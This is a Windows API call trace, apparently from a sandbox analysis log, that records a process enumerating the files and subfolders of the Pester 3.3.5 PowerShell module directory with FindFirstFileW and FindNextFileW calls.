	[0182.649] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1
	[0182.649] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.650] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.650] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0182.650] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.650] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0182.650] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.650] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ee68
	[0182.650] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.650] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.650] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.650] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0182.650] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.651] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0182.651] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.651] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0182.651] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4044f98
	[0182.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ee68
	[0182.661] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.661] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1
	[0182.661] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.683] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.683] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1
	[0182.683] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.683] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1
	[0182.683] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.683] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efa7ee8, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efa7ee8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efa7ee8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1
	[0182.683] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.684] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1
	[0182.684] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.684] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1
	[0182.684] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.684] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1
	[0182.684] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e66ad38, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e66ad38, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e66ad38, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.685] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1
	[0182.685] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.685] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1
	[0182.685] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.685] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1
	[0182.685] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.685] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1
	[0182.686] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.686] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1
	[0182.686] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.686] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1
	[0182.686] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0
	[0182.686] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.687] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1
	[0182.687] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.687] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1
	[0182.687] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.688] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1
